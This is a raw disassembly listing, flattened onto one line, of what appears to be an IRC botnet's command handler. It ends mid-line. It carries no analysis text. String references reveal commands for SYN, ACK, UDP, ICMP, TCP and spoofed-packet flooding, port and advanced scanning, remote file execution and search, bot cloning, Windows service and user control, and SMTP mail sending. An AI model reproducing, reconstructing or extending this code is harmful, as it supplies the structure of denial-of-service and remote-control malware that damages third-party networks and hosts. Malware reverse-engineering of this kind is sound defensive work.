[ebp+var_C58] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40600E loc_405FF8: ; CODE XREF: sub_401ACD+453Fj cmp [ebp+var_BCC], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_405FF8 ; --------------------------------------------------------------------------- loc_40600E: ; CODE XREF: sub_401ACD+4529j call near ptr 2670763h nop push eax push offset dword_42AE9C jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40601F: ; CODE XREF: sub_401ACD+43E4j push edi push offset aNet ; "net" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40626F cmp dword_4CB044, ebx jz short loc_40604E cmp dword_4CB06C, ebx jz short loc_40604E push offset unk_42AE60 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40604E: ; CODE XREF: sub_401ACD+456Dj ; sub_401ACD+4575j cmp [ebp+var_C], ebx jz loc_406CDE mov edi, [ebp+esi+var_88] mov [ebp+arg_0], ebx cmp edi, ebx jz short loc_406073 push edi push [ebp+var_C] call sub_41B900 pop ecx mov [ebp+arg_0], eax pop ecx loc_406073: ; CODE XREF: sub_401ACD+4596j push [ebp+arg_10] push offset aStart ; "start" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060C0 cmp edi, ebx jz short loc_406094 push [ebp+arg_0] push 3 jmp loc_406126 ; --------------------------------------------------------------------------- loc_406094: ; CODE XREF: sub_401ACD+45BBj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41895B add esp, 0Ch test eax, eax jz short loc_4060B6 push offset unk_42AE34 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060B6: ; CODE XREF: sub_401ACD+45DDj push offset unk_42AE14 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_4060C0: ; CODE XREF: sub_401ACD+45B7j push [ebp+arg_10] push offset aStop ; "stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060DA push [ebp+arg_0] push 4 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060DA: ; CODE XREF: sub_401ACD+4604j push [ebp+arg_10] push offset aPause ; "pause" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4060F4 push [ebp+arg_0] push 5 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_4060F4: ; CODE XREF: sub_401ACD+461Ej push [ebp+arg_10] push offset aContinue ; "continue" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40610E push [ebp+arg_0] push 6 jmp short loc_406126 ; --------------------------------------------------------------------------- loc_40610E: ; CODE XREF: sub_401ACD+4638j push [ebp+arg_10] push offset aDelete ; "delete" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406138 push [ebp+arg_0] push 1 loc_406126: ; CODE XREF: sub_401ACD+45C2j ; sub_401ACD+460Bj ... call sub_4186C1 pop ecx pop ecx loc_40612D: ; CODE XREF: sub_401ACD+46A1j ; sub_401ACD+4729j ... push eax push offset aS_1 ; "%s" jmp loc_406CCF ; --------------------------------------------------------------------------- loc_406138: ; CODE XREF: sub_401ACD+4652j push [ebp+arg_10] push offset aShare ; "share" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40619D cmp edi, ebx jz short loc_406170 cmp [ebp+var_8FC], bl jz short loc_40615D push ebx push edi push 1 jmp short loc_406166 ; --------------------------------------------------------------------------- loc_40615D: ; CODE XREF: sub_401ACD+4688j push [ebp+esi+var_84] push edi push ebx loc_406166: ; CODE XREF: sub_401ACD+468Ej call sub_418A98 add esp, 0Ch jmp short loc_40612D ; --------------------------------------------------------------------------- loc_406170: ; CODE XREF: sub_401ACD+4680j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418C8E add esp, 10h test eax, eax jz short loc_406193 push offset unk_42ADCC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406193: ; CODE XREF: sub_401ACD+46BAj push offset unk_42ADAC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40619D: ; CODE XREF: sub_401ACD+467Cj push [ebp+arg_10] push offset aUser ; "user" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406228 cmp edi, ebx jz short loc_4061FB cmp [ebp+var_8FC], bl jz short loc_4061CE push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push ebx push edi push 1 jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061CE: ; CODE XREF: sub_401ACD+46EDj push [ebp+var_4] mov esi, [ebp+esi+var_84] cmp esi, ebx push [ebp+var_88] push [ebp+arg_4] jz short loc_4061EA push esi push edi push ebx jmp short loc_4061EE ; --------------------------------------------------------------------------- loc_4061EA: ; CODE XREF: sub_401ACD+4716j push ebx push edi push 2 loc_4061EE: ; CODE XREF: sub_401ACD+46FFj ; sub_401ACD+471Bj call sub_418DAF add esp, 18h jmp loc_40612D ; --------------------------------------------------------------------------- loc_4061FB: ; CODE XREF: sub_401ACD+46E5j push ebx push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4192DF add esp, 10h test eax, eax jz short loc_40621E push offset unk_42AD84 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40621E: ; CODE XREF: sub_401ACD+4745j push offset unk_42AD64 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406228: ; CODE XREF: sub_401ACD+46E1j push [ebp+arg_10] push offset aSend ; "send" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_406265 cmp edi, ebx jz short loc_40625B push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_0] call sub_419593 add esp, 10h jmp loc_40612D ; --------------------------------------------------------------------------- loc_40625B: ; CODE XREF: sub_401ACD+4770j push offset unk_42AD38 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_406265: ; CODE XREF: sub_401ACD+476Cj push offset unk_42AD1C jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40626F: ; CODE XREF: sub_401ACD+4561j push edi push offset aCapture ; "capture" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aCap ; "cap" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408DFD push edi push offset aGethost ; "gethost" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 push edi push offset aGh ; "gh" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408D09 loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj ; sub_401ACD+3CECj ... mov edi, [ebp+esi+var_88] cmp edi, ebx mov [ebp+arg_1C], edi jz loc_401E94 push [ebp+arg_8] push offset aKilllog ; "killlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aKl ; "kl" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CEF push [ebp+arg_8] push offset aAddalias ; "addalias" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aAa ; "aa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408CAC push [ebp+arg_8] push offset aPrivmsg_0 ; "privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset dword_42B500 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408C57 push [ebp+arg_8] push offset aAction ; "action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aA ; "a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408BEA push [ebp+arg_8] push offset aCycle ; "cycle" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aCy ; "cy" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B86 push [ebp+arg_8] push offset aMode ; "mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aM ; "m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408B4A push [ebp+arg_8] push offset aC_raw ; "c_raw" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_r ; "c_r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408ADB push [ebp+arg_8] push offset aC_mode ; "c_mode" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_m ; "c_m" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408A55 push [ebp+arg_8] push offset aC_nick ; "c_nick" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_n ; "c_n" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089E5 push [ebp+arg_8] push offset aC_join ; "c_join" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_j ; "c_j" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4089BF push [ebp+arg_8] push offset aC_part ; "c_part" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aC_p ; "c_p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40895B push [ebp+arg_8] push offset aTarga3 ; "targa3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aT3 ; "t3" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408886 push [ebp+arg_8] push offset aTsunami ; "tsunami" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aTsn ; "tsn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40878B push [ebp+arg_8] push offset aRepeat ; "repeat" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aRp ; "rp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408687 push [ebp+arg_8] push offset aDelay ; "delay" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aDe ; "de" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085E8 push [ebp+arg_8] push offset aJpDe100 ; "jp]de100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aJp10 ; "jp]10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408457 push [ebp+arg_8] push offset aExecute ; "execute" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aE ; "e" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4083C4 push [ebp+arg_8] push offset aFindfile ; "findfile" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aFf ; "ff" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4082B5 push [ebp+arg_8] push offset aRename ; "rename" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aMv ; "mv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40823E push [ebp+arg_8] push offset aIcmpflood ; "icmpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 push [ebp+arg_8] push offset aIcmp ; "icmp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408141 mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz loc_401E94 push [ebp+arg_8] push offset aClone_0 ; "clone" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aC ; "c" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_408059 push [ebp+arg_8] push offset aDdos_syn ; "ddos.syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_ack ; "ddos.ack" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aDdos_random ; "ddos.random" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407F60 push [ebp+arg_8] push offset aWisdom_udp ; "wisdom.udp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4067D6 push 7Fh lea eax, [ebp+var_327C] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_31FC] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_317C] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_30FC] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov esi, [ebp+arg_4] mov [ebp+var_3074], eax push ebx lea eax, [ebp+var_2C4] push 13h push eax mov [ebp+var_3078], edi mov [ebp+var_3280], esi call sub_40B0F6 add esp, 3Ch mov [ebp+var_307C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3280] push ebx push eax push offset word_4146CE push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_307C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4067C5 loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j cmp [ebp+var_3070], ebx jnz loc_403DA0 push 32h nop call near ptr 2660F57h jmp short loc_4067AF ; --------------------------------------------------------------------------- loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j nop call near ptr 2670763h push eax push offset unk_42AB8C jmp loc_403D91 ; --------------------------------------------------------------------------- loc_4067D6: ; CODE XREF: sub_401ACD+4C36j push [ebp+arg_8] push offset aSynflood ; "synflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSyn ; "syn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407E78 push [ebp+arg_8] push offset aSkysyn ; "skysyn" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406903 push 7Fh lea eax, [ebp+var_36A4] pop esi push esi push [ebp+arg_10] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3624] push edi push eax call sub_41B5F0 push esi lea eax, [ebp+var_35A4] push [ebp+arg_0] push eax call sub_41B5F0 push esi lea eax, [ebp+var_3524] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_34A0], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_349C], eax lea eax, [ebp+var_2C4] push edi mov [ebp+var_36A8], esi push [ebp+arg_10] push offset dword_42AB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 10h push eax call sub_40B0F6 add esp, 20h mov [ebp+var_34A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_36A8] push ebx push eax push offset word_413626 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_34A4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4068F2 loc_4068DC: ; CODE XREF: sub_401ACD+4E23j cmp [ebp+var_3498], ebx jnz loc_407278 push 32h call near ptr 2660F57h nop jmp short loc_4068DC ; --------------------------------------------------------------------------- loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj nop call near ptr 2670763h push eax push offset dword_42AB08 jmp loc_407269 ; --------------------------------------------------------------------------- loc_406903: ; CODE XREF: sub_401ACD+4D48j push [ebp+arg_8] push offset aPhatwonk ; "phatwonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aWonk ; "wonk" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407D90 push [ebp+arg_8] push offset aJpldg10 ; "jpldg10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aJpl10 ; "jpl10" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407C52 push [ebp+arg_8] push offset aRedirect ; "redirect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aRd ; "rd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407B55 push [ebp+arg_8] push offset aScan ; "scan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aSc ; "sc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407A62 push [ebp+arg_8] push offset aC_privmsg ; "c_privmsg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_pm ; "c_pm" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40795D push [ebp+arg_8] push offset aC_action ; "c_action" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 push [ebp+arg_8] push offset aC_a ; "c_a" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407865 mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz loc_401E94 push [ebp+arg_8] push offset aPortscan ; "portscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aPsc ; "psc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40775F push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407298 push [ebp+arg_8] push offset aUdpflood ; "udpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aUdp ; "udp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aU ; "u" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40714F push [ebp+arg_8] push offset aNetsend ; "netsend" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aNs ; "ns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_407041 push [ebp+arg_8] push offset aPingflood ; "pingflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aPing_0 ; "ping" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aP ; "p" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406F17 push [ebp+arg_8] push offset aTcpflood ; "tcpflood" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aTcp ; "tcp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_406D6E push [ebp+arg_8] push offset aEmail ; "email" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_406D16 push [ebp+arg_10] lea eax, [ebp+var_47EC] push eax call sub_41BEB0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+arg_10], eax lea eax, [ebp+var_4188] push eax call sub_41BEB0 push [ebp+arg_18] lea eax, [ebp+var_4588] push eax call sub_41BEB0 push offset asc_42CA2C ; " " push offset dword_42B4FC push [ebp+esi+var_7C] call sub_417EEE push eax lea eax, [ebp+var_4288] push eax call sub_41BEB0 add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CAEE4 lea eax, [ebp+var_47EC] push eax call dword_4CAFF8 push 6 push 1 push 2 mov edi, eax call dword_4CAFF4 push [ebp+arg_10] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CAF74 mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_41B886 add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CAF1C mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C lea eax, [ebp+var_4088] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CAFC4 push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CAF8C push esi call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_4588] push eax push offset unk_42A9CC loc_406CCF: ; CODE XREF: sub_401ACD+2E82j ; sub_401ACD+4666j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 loc_406CDB: ; CODE XREF: sub_401ACD+248Bj add esp, 0Ch loc_406CDE: ; CODE XREF: sub_401ACD+4584j ; sub_401ACD+6653j ... cmp [ebp+var_8], ebx jnz short loc_406CFF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_406CFF: ; CODE XREF: sub_401ACD+29B2j ; sub_401ACD+2A05j ... mov esi, [ebp+arg_24] loc_406D02: ; CODE XREF: sub_401ACD+68F2j ; sub_401ACD+78E2j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D16: ; CODE XREF: sub_401ACD+50ACj push [ebp+arg_8] push offset aHttpcon ; "httpcon" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406D40 push [ebp+arg_8] push offset aHcon ; "hcon" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4072E8 loc_406D40: ; CODE XREF: sub_401ACD+525Aj push [ebp+esi+var_7C] push [ebp+arg_18] push [ebp+arg_0] push edi call sub_41B779 pop ecx push eax push [ebp+arg_10] push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4100DB jmp loc_4040AA ; --------------------------------------------------------------------------- loc_406D6E: ; CODE XREF: sub_401ACD+507Ej ; sub_401ACD+5095j push [ebp+arg_10] mov esi, 80h lea eax, [ebp+var_1354] push esi push eax call sub_41B980 lea eax, [ebp+var_1354] push eax push offset aSyn ; "syn" call sub_41C070 add esp, 14h test eax, eax jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aAck ; "ack" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 lea eax, [ebp+var_1354] push eax push offset aRandom_0 ; "random" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_406DD3 push offset unk_42A984 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_406DD3: ; CODE XREF: sub_401ACD+52CCj ; sub_401ACD+52E3j ... push [ebp+arg_18] call sub_41B779 cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406EFF push [ebp+arg_10] lea eax, [ebp+var_1354] push esi push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_13D4] push edi push esi push eax call sub_41B980 push [ebp+arg_0] call sub_41B779 mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E70 mov eax, offset aNormal ; "Normal" loc_406E70: ; CODE XREF: sub_401ACD+539Cj push [ebp+arg_18] push [ebp+arg_0] push edi push [ebp+arg_10] push eax push offset unk_42A940 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 14h push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset byte_413E35 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_406EEE loc_406ED8: ; CODE XREF: sub_401ACD+541Fj cmp [ebp+var_123C], ebx jnz loc_40828B push 32h call near ptr 2660F57h nop jmp short loc_406ED8 ; --------------------------------------------------------------------------- loc_406EEE: ; CODE XREF: sub_401ACD+5409j nop call near ptr 2670763h push eax push offset unk_42A908 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_406EFF: ; CODE XREF: sub_401ACD+5317j push offset unk_42A8D0 loc_406F04: ; CODE XREF: sub_401ACD+2018j ; sub_401ACD+202Ej ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40828B ; --------------------------------------------------------------------------- loc_406F17: ; CODE XREF: sub_401ACD+5039j ; sub_401ACD+5050j ... cmp dword_4CB064, ebx jnz loc_407026 mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_100C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_1008], eax call sub_41B779 push 7Fh mov [ebp+var_1004], eax push [ebp+var_88] lea eax, [ebp+var_110C] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+var_2C4] push [ebp+var_100C] push offset unk_42A888 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 16h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset dword_413284 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_407015 loc_406FFF: ; CODE XREF: sub_401ACD+5546j cmp [ebp+var_FF0], ebx jnz loc_40828B push 32h nop call near ptr 2660F57h jmp short loc_406FFF ; --------------------------------------------------------------------------- loc_407015: ; CODE XREF: sub_401ACD+5530j nop call near ptr 2670763h push eax push offset unk_42A850 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_407026: ; CODE XREF: sub_401ACD+5450j push 1FFh lea eax, [ebp+var_2C4] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_41B5F0 jmp loc_408288 ; --------------------------------------------------------------------------- loc_407041: ; CODE XREF: sub_401ACD+500Bj ; sub_401ACD+5022j push edi lea eax, [ebp+var_2C4] push [ebp+arg_10] push [ebp+arg_0] push offset unk_42A7FC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push [ebp+arg_0] call sub_41AFE0 mov edx, eax push edi mov edi, edx call sub_41AFE0 push [ebp+arg_10] add edi, eax call sub_41AFE0 push [ebp+arg_8] add edi, eax call sub_41AFE0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+edi+7] push eax call sub_41B900 add esp, 40h mov [ebp+arg_C], eax push [ebp+arg_0] call sub_41B779 mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713B loc_4070C4: ; CODE XREF: sub_401ACD+561Bj push [ebp+arg_C] push edi push [ebp+arg_10] call sub_4185A4 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070EC cmp eax, ebx jnz short loc_40710B inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C4 jmp short loc_407144 ; --------------------------------------------------------------------------- loc_4070EC: ; CODE XREF: sub_401ACD+560Cj push ebx push [ebp+var_4] push offset unk_42A7C4 loc_4070F5: ; CODE XREF: sub_401ACD+5680j push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_4072E8 ; --------------------------------------------------------------------------- loc_40710B: ; CODE XREF: sub_401ACD+5610j push [ebp+arg_1C] lea eax, [ebp+var_2C4] push offset unk_42A790 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h loc_40713B: ; CODE XREF: sub_401ACD+55F5j cmp [ebp+arg_1C], ebx jnz loc_4072E8 loc_407144: ; CODE XREF: sub_401ACD+561Dj push ebx push [ebp+var_4] push offset unk_42A75C jmp short loc_4070F5 ; --------------------------------------------------------------------------- loc_40714F: ; CODE XREF: sub_401ACD+4FC6j ; sub_401ACD+4FDDj ... mov eax, [ebp+var_8] push 7Fh push [ebp+arg_10] mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax call sub_41B5F0 push edi call sub_41B779 push [ebp+arg_0] mov [ebp+var_C7C], eax call sub_41B779 push [ebp+arg_18] mov [ebp+var_C78], eax call sub_41B779 mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B4 push esi call sub_41B779 pop ecx mov [ebp+var_C70], eax jmp short loc_4071BA ; --------------------------------------------------------------------------- loc_4071B4: ; CODE XREF: sub_401ACD+56D6j mov [ebp+var_C70], ebx loc_4071BA: ; CODE XREF: sub_401ACD+56E5j push 7Fh lea eax, [ebp+var_D7C] push [ebp+var_88] push eax call sub_41B5F0 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+var_2C4] push [ebp+var_C7C] push offset unk_42A714 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 17h push eax call sub_40B0F6 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset dword_413410 push ebx push ebx nop call near ptr 2670000h mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40725D loc_40724B: ; CODE XREF: sub_401ACD+578Ej cmp [ebp+var_C60], ebx jnz short loc_407278 push 32h nop call near ptr 2660F57h jmp short loc_40724B ; --------------------------------------------------------------------------- loc_40725D: ; 